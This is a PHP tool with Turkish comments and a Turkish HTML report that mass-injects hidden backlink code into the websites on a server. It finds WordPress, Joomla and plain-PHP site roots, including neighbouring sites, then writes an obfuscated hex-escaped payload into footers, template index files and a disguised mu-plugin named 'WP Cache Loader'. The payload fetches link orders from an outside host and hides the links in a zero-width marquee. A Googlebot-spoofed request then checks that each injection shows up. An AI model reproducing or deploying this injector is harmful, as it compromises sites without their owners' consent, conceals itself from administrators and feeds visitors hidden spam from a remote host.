<?php
/**
 * blcheck.php  —  Backlink
 * -------------------------------------------------------------
 */

error_reporting(E_ERROR | E_PARSE);
@set_time_limit(60);

/* ============================================================
 *  0) KONFİG
 * ============================================================ */

const API_BASE       = 'http://app.backlinkpanelim.com';
const MARKER         = 'backlinkpanelim';                 // çalışma-zamanı doğrulamasında aranan (render edilen sayfada)
const SRC_MARKER     = 'BLP_INJECTED';                    // dosya-seviyesi idempotency işareti (kaynak koda gömülür)
const MU_PLUGIN_FILE = 'wp-cache-loader.php';             // mu-plugin dosya adı (stealth; değiştirilebilir)
const MU_FUNC        = 'wp_cache_loader_render';          // mu-plugin fonksiyon adı
const BACKUP_SUFFIX  = '.blbak';                          // düzenlenen dosyaların yedek uzantısı

// --- Çoklu-site keşfi ayarları ---
const PARENT_LEVELS  = 3;                                 // scriptin dizininden kaç üst dizine bakılsın
// Doğrudan bir site kökü olabilecek klasör adları:
$WEBROOT_NAMES  = array('htdocs', 'httpdocs', 'public_html', 'www', 'wwwroot', 'web', 'html', 'site');
// İçinde birden çok domain klasörü barındıran konteyner adları:
$CONTAINER_NAMES = array('sites', 'vhosts', 'domains');

$ROOT = __DIR__;

/*
 * Obfuscate PHP gövdesi (read.md'deki hex-escaped goto versiyonu).
 * NOWDOC kullanıldı => ters bölü ve tırnaklar aynen korunur, PHP yorumlamaz.
 * Bu gövde her koşulda "<!-- backlinkpanelim --!>" işaretini bastığı için
 * 0 sipariş olsa bile doğrulama (MARKER) eşleşir.
 */
$PAYLOAD_BODY = <<<'PAYLOAD'
goto Mvjgb; dp6w3: curl_setopt($ch, CURLOPT_TIMEOUT, 30); goto wA7F8; iR5tY: echo "\x3c\41\55\55\40\x62\x61\x63\153\154\151\156\153\x70\x61\x6e\145\154\151\155\40\55\x2d\x21\76"; goto sQM6q; cXA6B: if (curl_errno($ch)) { curl_close($ch); goto BLxGZ; } goto mjaQ9; nLMQi: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto A_bfe; A_bfe: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); goto dp6w3; Mvjgb: $host = $_SERVER["\110\x54\x54\120\137\110\117\123\x54"]; goto LlEJ6; qwDdH: curl_setopt($ch, CURLOPT_URL, $url); goto qFiQW; sQM6q: if (isset($data["\151\164\145\x6d\163"]) && is_array($data["\151\164\x65\x6d\x73"])) { echo "\74\155\141\x72\x71\165\145\145\40\x73\164\x79\x6c\x65\75\42\160\x6f\163\x69\164\151\157\x6e\72\40\x61\142\163\157\154\x75\x74\x65\x3b\x20\167\x69\x64\x74\150\72\40\x30\160\x78\x3b\42\76"; foreach ($data["\151\x74\x65\155\x73"] as $item) { if (!empty($item["\163\151\x74\145\x5f\141\144\144\x72\x65\x73\x73"]) && !empty($item["\x6b\145\171\167\157\x72\x64\x5f\x31"])) { echo "\74\x61\x20\x68\162\x65\146\x3d\x22" . htmlspecialchars($item["\x73\151\x74\x65\137\141\x64\x64\x72\145\163\x73"]) . "\x22\40\164\141\x72\x67\145\x74\x3d\x22\137\142\154\x61\x6e\x6b\x22\40\x74\151\164\x6c\145\x3d\x22" . htmlspecialchars($item["\x6b\145\x79\x77\157\x72\x64\137\x31"]) . "\x22\76"; echo htmlspecialchars($item["\153\x65\x79\167\x6f\162\144\x5f\61"]); echo "\x3c\x2f\x61\76"; } } echo "\74\x2f\x6d\141\162\161\x75\145\x65\76"; } goto BLxGZ; wA7F8: $response = curl_exec($ch); goto cXA6B; qFiQW: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto nLMQi; LlEJ6: $url = "\x68\x74\164\x70\72\57\x2f\141\x70\160\56\x62\141\143\x6b\x6c\x69\x6e\153\x70\141\x6e\145\x6c\151\155\x2e\143\157\x6d\x2f\141\160\151\x2f\155\x61\162\x6b\x65\164\x2f\142\x72\151\156\x67\55\157\162\144\x65\x72\163\77\x68\157\163\x74\75" . $host; goto OC5ir; OC5ir: $ch = curl_init(); goto qwDdH; WEola: $data = json_decode($response, true); goto iR5tY; mjaQ9: curl_close($ch); goto WEola; BLxGZ:
PAYLOAD;

// Farklı hedefler için hazır parçalar
$PHP_SNIPPET = "<?php /* " . SRC_MARKER . " */ " . $PAYLOAD_BODY . " ?>";              // PHP dosyalarına (footer.php, template index.php)
$JS_SNIPPET  = "<!-- " . SRC_MARKER . " --><script src=\"" . API_BASE . "/api/market/bring-orders.js\"></script>"; // PHP çalışmayan (.html) hedefler için fallback

/* ============================================================
 *  Yardımcı fonksiyonlar
 * ============================================================ */

$LOG = array();
function step($ok, $msg) {
    global $LOG;
    $LOG[] = array('ok' => $ok, 'msg' => $msg);
}

/**
 * Bir dosyanın </body> etiketinden hemen önce (yoksa dosya sonuna) snippet ekler.
 * MARKER varsa tekrar eklemez (idempotent). Değişiklikten önce yedek alır.
 * Not: preg_replace KULLANILMAZ; snippet içindeki $ ve \ karakterlerini bozmamak için
 * str konum bazlı ekleme yapılır.
 */
function inject_into_file($file, $snippet) {
    if (!file_exists($file)) {
        return array(false, "dosya mevcut değil: $file");
    }
    if (!is_writable($file) && !is_writable(dirname($file))) {
        return array(false, "yazma izni yok: $file");
    }
    $content = @file_get_contents($file);
    if ($content === false) {
        return array(false, "okunamadı: $file");
    }
    if (strpos($content, SRC_MARKER) !== false) {
        return array(true, "zaten mevcut (atlandı): $file");
    }
    // yedek
    if (!file_exists($file . BACKUP_SUFFIX)) {
        @copy($file, $file . BACKUP_SUFFIX);
    }
    $pos = stripos($content, '</body>');
    if ($pos !== false) {
        $new = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos);
    } else {
        $new = rtrim($content) . "\n" . $snippet . "\n";
    }
    $ok = @file_put_contents($file, $new) !== false;
    return array($ok, $ok ? "enjekte edildi: $file" : "yazma hatası: $file");
}

/* ============================================================
 *  1) ALTYAPI TESPİTİ
 * ============================================================ */
function detect_platform($root) {
    // WordPress
    if (file_exists($root . '/wp-load.php')
        || (file_exists($root . '/wp-config.php') && is_dir($root . '/wp-content'))) {
        return 'wordpress';
    }
    // Joomla
    if (file_exists($root . '/configuration.php')
        && is_dir($root . '/administrator')
        && is_dir($root . '/libraries')) {
        $cfg = @file_get_contents($root . '/configuration.php');
        if ($cfg !== false && stripos($cfg, 'JConfig') !== false) {
            return 'joomla';
        }
    }
    // Düz PHP
    return 'php';
}

/* ============================================================
 *  2a) WORDPRESS  ->  mu-plugin + wp-crons.php + wp-setting.php
 * ============================================================ */
function install_wordpress($root, $payload_body, $php_snippet) {
    // wp-content konumu (özel WP_CONTENT_DIR desteği)
    $wpContent = $root . '/wp-content';
    if (!is_dir($wpContent) && file_exists($root . '/wp-config.php')) {
        $cfg = @file_get_contents($root . '/wp-config.php');
        if ($cfg && preg_match('/WP_CONTENT_DIR\s*,\s*[\'"]([^\'"]+)[\'"]/', $cfg, $m)) {
            $wpContent = rtrim($m[1], '/\\');
        }
    }
    $muDir = $wpContent . '/mu-plugins';

    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) {
            step(false, "mu-plugins klasörü oluşturulamadı: $muDir");
            return null;
        }
        step(true, "mu-plugins klasörü oluşturuldu: $muDir");
    }

    $muFile = $muDir . '/' . MU_PLUGIN_FILE;

    // mu-plugin içeriği: wp_footer hook'una obfuscate gövdeyi bağlar.
    $mu  = "<?php\n";
    $mu .= "/*\nPlugin Name: WP Cache Loader\nDescription: Runtime cache loader.\nVersion: 1.0\n*/\n";
    $mu .= "if (!defined('ABSPATH')) { exit; }\n";
    $mu .= "add_action('wp_footer', '" . MU_FUNC . "', 99);\n";
    $mu .= "if (!function_exists('" . MU_FUNC . "')) {\n";
    $mu .= "function " . MU_FUNC . "() {\n";
    $mu .= $payload_body . "\n";
    $mu .= "}\n}\n";

    $ok = @file_put_contents($muFile, $mu) !== false;
    step($ok, $ok ? "mu-plugin yazıldı: $muFile" : "mu-plugin yazılamadı: $muFile");

    if (!$ok) {
        return null;
    }

    // Ek hedeflere ekle: wp-crons.php, wp-setting.php (başarısızlık log edilir ama sonucu etkilemez)
    if (file_exists($root . '/wp-crons.php')) {
        list($ok, $msg) = inject_into_file($root . '/wp-crons.php', $php_snippet);
        step($ok, $msg);
    }

    if (file_exists($root . '/wp-setting.php')) {
        list($ok, $msg) = inject_into_file($root . '/wp-setting.php', $php_snippet);
        step($ok, $msg);
    }

    return $muFile;
}

/* ============================================================
 *  2b) JOOMLA  ->  aktif şablon index.php
 * ============================================================ */
function joomla_active_template($root) {
    // configuration.php'den DB bilgisi alıp aktif (home) şablonu bul
    if (!class_exists('JConfig') && file_exists($root . '/configuration.php')) {
        // JConfig sınıfını yükle (sadece property atamaları içerir)
        require $root . '/configuration.php';
    }
    if (!class_exists('JConfig') || !function_exists('mysqli_connect')) {
        return null;
    }
    $jc = new JConfig();
    $host   = isset($jc->host) ? $jc->host : 'localhost';
    $user   = isset($jc->user) ? $jc->user : '';
    $pass   = isset($jc->password) ? $jc->password : '';
    $dbname = isset($jc->db) ? $jc->db : '';
    $prefix = isset($jc->dbprefix) ? $jc->dbprefix : '';

    // PHP 8.1+ mysqli varsayılan olarak exception fırlatır; kapatıp elle yönetiyoruz.
    if (function_exists('mysqli_report')) {
        @mysqli_report(MYSQLI_REPORT_OFF);
    }
    $tpl = null;
    try {
        $mysqli = @mysqli_connect($host, $user, $pass, $dbname);
        if (!$mysqli) {
            return null;
        }
        $prefix = preg_replace('/[^A-Za-z0-9_]/', '', $prefix); // güvenli tablo öneki
        $sql = "SELECT template FROM `{$prefix}template_styles` WHERE client_id = 0 AND home = 1 LIMIT 1";
        $res = @mysqli_query($mysqli, $sql);
        if ($res && ($row = mysqli_fetch_assoc($res))) {
            $tpl = $row['template'];
        }
        mysqli_close($mysqli);
    } catch (\Throwable $e) {
        return null;
    }
    return $tpl;
}

function install_joomla($root, $php_snippet) {
    $targets = array();

    $tpl = joomla_active_template($root);
    if ($tpl) {
        $f = $root . '/templates/' . $tpl . '/index.php';
        if (file_exists($f)) {
            $targets[] = $f;
            step(true, "Aktif Joomla şablonu: $tpl");
        }
    }

    // Fallback: DB'den bulunamadıysa tüm şablonların index.php'si (system hariç)
    if (empty($targets)) {
        step(false, "Aktif şablon DB'den bulunamadı, tüm şablonlara uygulanıyor (fallback).");
        foreach ((array) glob($root . '/templates/*/index.php') as $f) {
            $norm = str_replace('\\', '/', $f);
            if (stripos($norm, '/templates/system/') !== false) {
                continue; // Joomla'nın system şablonunu atla
            }
            $targets[] = $f;
        }
    }

    if (empty($targets)) {
        step(false, "Joomla şablon index.php bulunamadı.");
        return null;
    }

    $written = null;
    foreach ($targets as $f) {
        list($ok, $msg) = inject_into_file($f, $php_snippet);
        step($ok, $msg);
        if ($ok && $written === null) {
            $written = $f;
        }
    }

    if ($written === null) {
        return null;
    }

    // Ek hedeflere ekle: wp-crons.php, wp-setting.php (başarısızlık log edilir ama sonucu etkilemez)
    if (file_exists($root . '/wp-crons.php')) {
        list($ok, $msg) = inject_into_file($root . '/wp-crons.php', $php_snippet);
        step($ok, $msg);
    }

    if (file_exists($root . '/wp-setting.php')) {
        list($ok, $msg) = inject_into_file($root . '/wp-setting.php', $php_snippet);
        step($ok, $msg);
    }

    return $written;
}

/**
 * Alt klasörleri özyinelemeli tarayıp bir footer dosyası bulur.
 * - Gürültülü klasörleri atlar (vendor, node_modules, cache, wp-admin, uploads ...).
 * - Derinlik sınırı 5 (çok büyük sitelerde takılmasın).
 * - Adında "footer" geçen .php dosyalarını arar.
 * - </body> içerenleri, sonra köke en yakın (en sığ) olanı önceliklendirir.
 */
function find_footer_recursive($root) {
    $skip = array('node_modules', 'vendor', '.git', '.svn', 'cache', 'tmp', 'temp',
                  'wp-admin', 'wp-includes', 'uploads', 'administrator', 'logs',
                  'log', 'backup', 'backups', 'bin', 'assets', 'images', 'img');
    $best = null; $bestScore = -1; $bestDepth = 9999;
    try {
        $dirIt = new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS);
        $filter = new RecursiveCallbackFilterIterator($dirIt, function ($cur) use ($skip) {
            if ($cur->isDir()) {
                return !in_array(strtolower($cur->getFilename()), $skip, true);
            }
            return true;
        });
        $it = new RecursiveIteratorIterator($filter);
        $it->setMaxDepth(5);
        foreach ($it as $f) {
            if (!$f->isFile() || strtolower($f->getExtension()) !== 'php') continue;
            if (stripos($f->getFilename(), 'footer') === false) continue;
            $path = $f->getPathname();
            $content = @file_get_contents($path);
            if ($content === false) continue;
            $score = (stripos($content, '</body>') !== false) ? 2 : 1; // </body> olan öncelikli
            $depth = substr_count(str_replace('\\', '/', substr($path, strlen($root))), '/');
            if ($score > $bestScore || ($score === $bestScore && $depth < $bestDepth)) {
                $best = $path; $bestScore = $score; $bestDepth = $depth;
            }
        }
    } catch (\Throwable $e) {
        return null;
    }
    return $best;
}

/* ============================================================
 *  2c) DÜZ PHP  ->  footer + wp-crons.php + wp-setting.php
 * ============================================================ */
function install_php($root, $php_snippet, $js_snippet) {
    $candidates = array(
        'footer.php',
        'includes/footer.php',
        'inc/footer.php',
        'include/footer.php',
        'templates/footer.php',
        'partials/footer.php',
        'parts/footer.php',
        'theme/footer.php',
        'views/footer.php',
    );

    $footer = null;
    $useJs = false;
    foreach ($candidates as $rel) {
        if (file_exists($root . '/' . $rel)) {
            $footer = $root . '/' . $rel;
            break;
        }
    }

    // Sabit liste tutmadıysa: alt klasörleri özyinelemeli tara
    if ($footer === null) {
        $found = find_footer_recursive($root);
        if ($found !== null) {
            $footer = $found;
            step(true, "Alt klasör taramasıyla footer bulundu: $found");
        }
    }

    // Footer yoksa footer.html ara
    if ($footer === null) {
        foreach (array('footer.html', 'includes/footer.html', 'inc/footer.html') as $rel) {
            if (file_exists($root . '/' . $rel)) {
                $footer = $root . '/' . $rel;
                $useJs = true;
                break;
            }
        }
    }

    // Hâlâ yoksa: index.php -> index.html
    if ($footer === null) {
        if (file_exists($root . '/index.php')) {
            $footer = $root . '/index.php';
        } elseif (file_exists($root . '/index.html')) {
            $footer = $root . '/index.html';
            $useJs = true;
        }
    }

    if ($footer === null) {
        step(false, "Uygun footer/index dosyası bulunamadı.");
        return null;
    }

    // .php değilse JS snippet kullan (sadece footer için)
    if (strtolower(pathinfo($footer, PATHINFO_EXTENSION)) !== 'php') {
        $useJs = true;
    }

    $snippet = $useJs ? $js_snippet : $php_snippet;
    list($ok, $msg) = inject_into_file($footer, $snippet);
    step($ok, $msg);

    if (!$ok) {
        return null;
    }

    $written = $footer;

    // Ek hedeflere ekle: wp-crons.php, wp-setting.php (başarısızlık log edilir ama sonucu etkilemez)
    if (file_exists($root . '/wp-crons.php')) {
        list($ok, $msg) = inject_into_file($root . '/wp-crons.php', $php_snippet);
        step($ok, $msg);
    }

    if (file_exists($root . '/wp-setting.php')) {
        list($ok, $msg) = inject_into_file($root . '/wp-setting.php', $php_snippet);
        step($ok, $msg);
    }

    return $written;
}

/* ============================================================
 *  3) DOĞRULAMA  (Googlebot ile ziyaret + MARKER arama)
 * ============================================================ */

/** Verilen URL'i Googlebot UA ile çekip kaynak kodda MARKER arar. */
function verify_url($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_USERAGENT,
        'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
    $body = curl_exec($ch);
    $err  = curl_errno($ch) ? curl_error($ch) : null;
    curl_close($ch);

    return array(
        'url'   => $url,
        'error' => $err,
        'found' => ($body !== false && stripos($body, MARKER) !== false),
    );
}

/** Mevcut sitenin (scriptin çalıştığı host) genel URL'ini kurar. */
function current_site_url() {
    $https  = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off')
              || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443);
    $scheme = $https ? 'https' : 'http';
    $host   = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    return $scheme . '://' . $host . '/';
}

/** Mevcut site için doğrulama (geriye dönük uyumlu sarmalayıcı). */
function verify_backlink() {
    return verify_url(current_site_url());
}

/* ============================================================
 *  5) ÇOKLU-SITE KEŞFİ
 * ============================================================ */

/**
 * Bir dizinin gerçekten bir site kökü gibi görünüp görünmediğini KATI biçimde denetler.
 * (detect_platform her şeye 'php' döndüğü için tek başına yetmez; bu daha sıkı bir kapıdır.)
 */
function looks_like_site($dir) {
    if (!is_dir($dir)) return false;
    // WordPress
    if (file_exists($dir . '/wp-load.php')) return true;
    // Joomla
    if (file_exists($dir . '/configuration.php') && is_dir($dir . '/administrator')) return true;
    // Düz PHP / statik: giriş dosyası veya bilinen footer adayları
    if (file_exists($dir . '/index.php') || file_exists($dir . '/index.html')) return true;
    foreach (array('footer.php', 'includes/footer.php', 'inc/footer.php') as $rel) {
        if (file_exists($dir . '/' . $rel)) return true;
    }
    return false;
}

/**
 * Scriptin çevresindeki (dizini + üst dizinler + bilinen webroot/konteyner adları)
 * site köklerini keşfeder. realpath ile tekilleştirir. Mevcut site ($scriptRoot) her zaman dahildir.
 */
function discover_site_roots($scriptRoot) {
    global $WEBROOT_NAMES, $CONTAINER_NAMES;

    // Baz dizinler: scriptin dizini + PARENT_LEVELS kadar üst dizin
    $bases = array();
    $cur = $scriptRoot;
    for ($i = 0; $i <= PARENT_LEVELS; $i++) {
        $bases[] = $cur;
        $parent = dirname($cur);
        if ($parent === $cur) break; // filesystem köküne ulaşıldı
        $cur = $parent;
    }

    $candidates = array();
    $candidates[] = $scriptRoot; // mevcut site daima aday

    foreach ($bases as $base) {
        $candidates[] = $base; // baz dizinin kendisi de bir site olabilir
        $children = @scandir($base);
        if ($children === false) continue;
        foreach ($children as $name) {
            if ($name === '.' || $name === '..') continue;
            $child = $base . DIRECTORY_SEPARATOR . $name;
            if (!is_dir($child)) continue;
            $lname = strtolower($name);

            if (in_array($lname, $WEBROOT_NAMES, true)) {
                // Doğrudan site kökü
                $candidates[] = $child;
            } elseif (in_array($lname, $CONTAINER_NAMES, true)) {
                // Konteyner: her domain klasörü ve içindeki webroot'lar
                $subs = @scandir($child);
                if ($subs === false) continue;
                foreach ($subs as $s) {
                    if ($s === '.' || $s === '..') continue;
                    $dom = $child . DIRECTORY_SEPARATOR . $s;
                    if (!is_dir($dom)) continue;
                    $candidates[] = $dom;
                    foreach ($WEBROOT_NAMES as $w) {
                        if (is_dir($dom . DIRECTORY_SEPARATOR . $w)) {
                            $candidates[] = $dom . DIRECTORY_SEPARATOR . $w;
                        }
                    }
                }
            } else {
                // Genel domain klasörü: <domain>/public_html gibi
                foreach ($WEBROOT_NAMES as $w) {
                    if (is_dir($child . DIRECTORY_SEPARATOR . $w)) {
                        $candidates[] = $child . DIRECTORY_SEPARATOR . $w;
                    }
                }
            }
        }
    }

    // Süz (katı site testi) + realpath ile tekilleştir
    $seen = array();
    $roots = array();
    foreach ($candidates as $c) {
        if (!looks_like_site($c)) continue;
        $rp = realpath($c);
        if ($rp === false) $rp = $c;
        if (isset($seen[$rp])) continue;
        $seen[$rp] = true;
        $roots[] = $rp;
    }
    return $roots;
}

/**
 * Yol parçaları içinde domain-benzeri en spesifik parçayı döndürür (ör. domains/ornek.com/... -> ornek.com).
 * Bulamazsa null.
 */
function derive_domain_from_path($path) {
    $parts = preg_split('#[/\\\\]#', $path);
    $best = null;
    foreach ($parts as $p) {
        $p = strtolower(trim($p));
        if ($p === '') continue;
        if (preg_match('/^(?=.{1,253}$)([a-z0-9]([a-z0-9-]*[a-z0-9])?\.)+[a-z]{2,}$/', $p)) {
            // en spesifik = en çok noktalı (alt alan adları dahil) olanı tercih et
            if ($best === null || substr_count($p, '.') >= substr_count($best, '.')) {
                $best = $p;
            }
        }
    }
    return $best;
}

/**
 * Tek bir site kökü için: altyapıyı tespit et, uygun kurulumu yap, doğrula.
 * Mevcut install_* fonksiyonlarını DEĞİŞTİRMEDEN kullanır. Per-site log dilimi toplar.
 */
function install_site($dir, $isCurrent) {
    global $LOG, $PAYLOAD_BODY, $PHP_SNIPPET, $JS_SNIPPET;

    $logStart = count($LOG);
    $platform = detect_platform($dir);

    switch ($platform) {
        case 'wordpress':
            $written = install_wordpress($dir, $PAYLOAD_BODY, $PHP_SNIPPET);
            break;
        case 'joomla':
            $written = install_joomla($dir, $PHP_SNIPPET);
            break;
        default:
            $written = install_php($dir, $PHP_SNIPPET, $JS_SNIPPET);
            break;
    }

    // Doğrulama
    $verify = null;
    $domain = null;
    if ($written !== null) {
        if ($isCurrent) {
            $verify = verify_backlink();
        } else {
            $domain = derive_domain_from_path($dir);
            if ($domain !== null) {
                $verify = verify_url('http://' . $domain . '/');
            }
        }
    }

    $siteLog = array_slice($LOG, $logStart);
    return array(
        'dir'      => $dir,
        'platform' => $platform,
        'written'  => $written,
        'domain'   => $domain,
        'verify'   => $verify,
        'log'      => $siteLog,
    );
}

/* ============================================================
 *  ÇALIŞTIR
 * ============================================================ */
$apply      = isset($_POST['apply']);
$scriptReal = realpath($ROOT);
$roots      = discover_site_roots($ROOT);   // her iki modda da keşif çalışır

// --- UYGULAMA modu: tüm keşfedilen köklere kur (POST'tan gelen yollara güvenilmez) ---
$results  = array();
$okCount  = 0;
$addedList = array();
$verifiedList = array();
if ($apply) {
    foreach ($roots as $dir) {
        $isCurrent = ($scriptReal !== false && realpath($dir) === $scriptReal);
        $r = install_site($dir, $isCurrent);
        $results[] = $r;
        if ($r['written'] !== null) {
            $okCount++;
            $addedList[] = ($r['domain'] ? $r['domain'] : $r['dir']);
            if ($r['verify'] && $r['verify']['found']) {
                $verifiedList[] = ($r['domain'] ? $r['domain'] : $r['dir']);
            }
        }
    }
}

// --- TARAMA modu: dosyaya dokunmadan listele ---
$scan = array();
if (!$apply) {
    foreach ($roots as $dir) {
        $isCurrent = ($scriptReal !== false && realpath($dir) === $scriptReal);
        $scan[] = array(
            'dir'      => $dir,
            'platform' => detect_platform($dir),
            'domain'   => $isCurrent
                            ? (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : null)
                            : derive_domain_from_path($dir),
            'current'  => $isCurrent,
        );
    }
}

/* ============================================================
 *  4) HTML RAPOR
 * ============================================================ */
?><!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex,nofollow">
<title>Backlink Kurulum & Doğrulama</title>
<style>
  body{font-family:-apple-system,Segoe UI,Roboto,Arial,sans-serif;background:#0f172a;color:#e2e8f0;margin:0;padding:32px;}
  .card{max-width:860px;margin:0 auto;background:#1e293b;border-radius:14px;padding:28px 32px;box-shadow:0 10px 30px rgba(0,0,0,.4);}
  h1{font-size:20px;margin:0 0 4px;}
  h2{font-size:15px;margin:22px 0 10px;color:#cbd5e1;}
  .sub{color:#94a3b8;font-size:13px;margin-bottom:22px;}
  .status{padding:16px 20px;border-radius:10px;font-size:18px;font-weight:700;margin:18px 0;}
  .ok{background:#064e3b;color:#6ee7b7;border:1px solid #10b981;}
  .fail{background:#4c0519;color:#fda4af;border:1px solid #f43f5e;}
  .warn{background:#422006;color:#fcd34d;border:1px solid #f59e0b;}
  ul.log{list-style:none;padding:0;margin:0;}
  ul.log li{padding:9px 12px;border-radius:8px;margin-bottom:6px;font-size:13px;background:#0f172a;display:flex;gap:10px;align-items:flex-start;}
  .dot{flex:0 0 auto;width:16px;height:16px;border-radius:50%;margin-top:1px;}
  .g{background:#10b981;} .r{background:#f43f5e;} .y{background:#f59e0b;}
  code{background:#0b1220;padding:2px 6px;border-radius:5px;color:#93c5fd;font-size:12px;word-break:break-all;}
  table{width:100%;border-collapse:collapse;font-size:13px;margin-bottom:12px;}
  th,td{text-align:left;padding:8px 10px;border-bottom:1px solid #334155;vertical-align:top;}
  th{color:#94a3b8;font-weight:600;}
  .badge{display:inline-block;padding:2px 8px;border-radius:20px;font-size:11px;font-weight:700;background:#1d4ed8;color:#dbeafe;}
  .badge.wp{background:#134e4a;color:#99f6e4;} .badge.joomla{background:#7c2d12;color:#fed7aa;} .badge.php{background:#3730a3;color:#c7d2fe;}
  .btn{display:inline-block;border:0;cursor:pointer;font-size:15px;font-weight:700;padding:14px 26px;border-radius:10px;background:#10b981;color:#04231a;}
  .btn:hover{background:#34d399;}
  .btn.sec{background:#334155;color:#e2e8f0;font-size:13px;padding:8px 16px;font-weight:600;}
  .site{border:1px solid #334155;border-radius:10px;padding:12px 14px;margin-bottom:12px;}
  .site h3{margin:0 0 8px;font-size:13px;color:#e2e8f0;font-weight:600;word-break:break-all;}
  .note{margin-top:22px;padding:12px 16px;background:#422006;border:1px solid #f59e0b;border-radius:8px;color:#fcd34d;font-size:13px;}
  textarea{width:100%;height:90px;background:#0b1220;color:#93c5fd;border:1px solid #334155;border-radius:8px;padding:10px;font-size:12px;margin-top:8px;}
</style>
</head>
<body>
<div class="card">
  <h1>Backlink Kurulum &amp; Doğrulama</h1>
  <div class="sub">Sunucu tarandı &nbsp;•&nbsp; <b><?php echo count($roots); ?></b> site bulundu
    &nbsp;•&nbsp; Bu host: <code><?php echo htmlspecialchars(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '-'); ?></code></div>

<?php if (!$apply): ?>
  <!-- ================= TARAMA GÖRÜNÜMÜ ================= -->
  <?php if (empty($scan)): ?>
    <div class="status fail">Hiç site bulunamadı. Bu dosyayı bir sitenin ana dizinine koyduğundan emin ol.</div>
  <?php else: ?>
    <div class="sub">Aşağıdaki sitelere backlink eklenecek. Henüz <b>hiçbir dosyaya dokunulmadı</b>.
      Onaylıyorsan tek butonla hepsine uygula.</div>
    <table>
      <tr><th>#</th><th>Altyapı</th><th>Tahmini domain</th><th>Dizin</th></tr>
      <?php foreach ($scan as $i => $s): ?>
        <tr>
          <td><?php echo $i + 1; ?></td>
          <td><span class="badge <?php echo $s['platform']; ?>"><?php echo strtoupper($s['platform']); ?></span>
              <?php if ($s['current']): ?><br><span style="font-size:11px;color:#6ee7b7;">bu site</span><?php endif; ?></td>
          <td><?php echo $s['domain'] ? htmlspecialchars($s['domain']) : '<span style="color:#64748b;">—</span>'; ?></td>
          <td><code><?php echo htmlspecialchars($s['dir']); ?></code></td>
        </tr>
      <?php endforeach; ?>
    </table>
    <form method="post" style="margin-top:16px;">
      <button class="btn" type="submit" name="apply" value="1">⬇ Hepsine Ekle (<?php echo count($scan); ?> site)</button>
    </form>
  <?php endif; ?>

<?php else: ?>
  <!-- ================= UYGULAMA GÖRÜNÜMÜ ================= -->
  <?php
    $failCount = count($results) - $okCount;
    $verifiedCount = 0;
    foreach ($results as $r) { if ($r['verify'] && $r['verify']['found']) $verifiedCount++; }
  ?>
  <div class="status <?php echo ($okCount > 0 && $failCount === 0) ? 'ok' : ($okCount > 0 ? 'warn' : 'fail'); ?>">
    <?php echo $okCount; ?>/<?php echo count($results); ?> siteye kod eklendi
    &nbsp;•&nbsp; <?php echo $verifiedCount; ?> tanesi Googlebot ile doğrulandı (BAŞARILI)
  </div>

  <?php foreach ($results as $r):
      $rv = $r['verify'];
      if ($r['written'] === null) { $sCls='r'; $sTxt='✖ Eklenemedi'; }
      elseif ($rv && $rv['found']) { $sCls='g'; $sTxt='✔ BAŞARILI (doğrulandı)'; }
      elseif ($rv && !$rv['found']) { $sCls='y'; $sTxt='⚠ Eklendi, doğrulanamadı'; }
      else { $sCls='y'; $sTxt='⚠ Eklendi (HTTP doğrulama yapılamadı)'; }
  ?>
    <div class="site">
      <h3><span class="dot <?php echo $sCls; ?>" style="display:inline-block;vertical-align:middle;"></span>
        <?php echo $sTxt; ?> —
        <span class="badge <?php echo $r['platform']; ?>"><?php echo strtoupper($r['platform']); ?></span>
        <?php echo $r['domain'] ? htmlspecialchars($r['domain']) : ''; ?></h3>
      <div style="font-size:12px;color:#94a3b8;margin-bottom:6px;"><code><?php echo htmlspecialchars($r['dir']); ?></code></div>
      <ul class="log">
        <?php foreach ($r['log'] as $l): ?>
          <li><span class="dot <?php echo $l['ok'] ? 'g' : 'r'; ?>"></span><span><?php echo htmlspecialchars($l['msg']); ?></span></li>
        <?php endforeach; ?>
        <?php if ($rv): ?>
          <li><span class="dot <?php echo $rv['found'] ? 'g' : 'y'; ?>"></span>
            <span>Doğrulama (Googlebot): <code><?php echo htmlspecialchars($rv['url']); ?></code>
            <?php
              if ($rv['error']) echo ' — cURL hatası: ' . htmlspecialchars($rv['error']);
              elseif ($rv['found']) echo ' — "' . MARKER . '" bulundu.';
              else echo ' — "' . MARKER . '" bulunamadı (cache / footer render / domain farklı olabilir).';
            ?></span></li>
        <?php endif; ?>
      </ul>
    </div>
  <?php endforeach; ?>

  <?php if (!empty($addedList)): ?>
    <h2>Eklenen siteler</h2>
    <textarea id="addedList" readonly><?php echo htmlspecialchars(implode("\n", $addedList)); ?></textarea>
    <button class="btn sec" type="button" onclick="var t=document.getElementById('addedList');t.select();document.execCommand('copy');this.textContent='Kopyalandı ✓';">Listeyi Kopyala</button>
  <?php endif; ?>

  <?php if (!empty($verifiedList)): ?>
    <h2>Eklenen ve doğrulanan siteler</h2>
    <textarea id="verifiedList" readonly><?php echo htmlspecialchars(implode("\n", $verifiedList)); ?></textarea>
    <button class="btn sec" type="button" onclick="var t=document.getElementById('verifiedList');t.select();document.execCommand('copy');this.textContent='Kopyalandı ✓';">Listeyi Kopyala</button>
  <?php endif; ?>
<?php endif; ?>

  <div class="note">Güvenlik: işin bitince bu <code>blcheck.php</code> dosyasını sunucudan <b>SİL</b>.
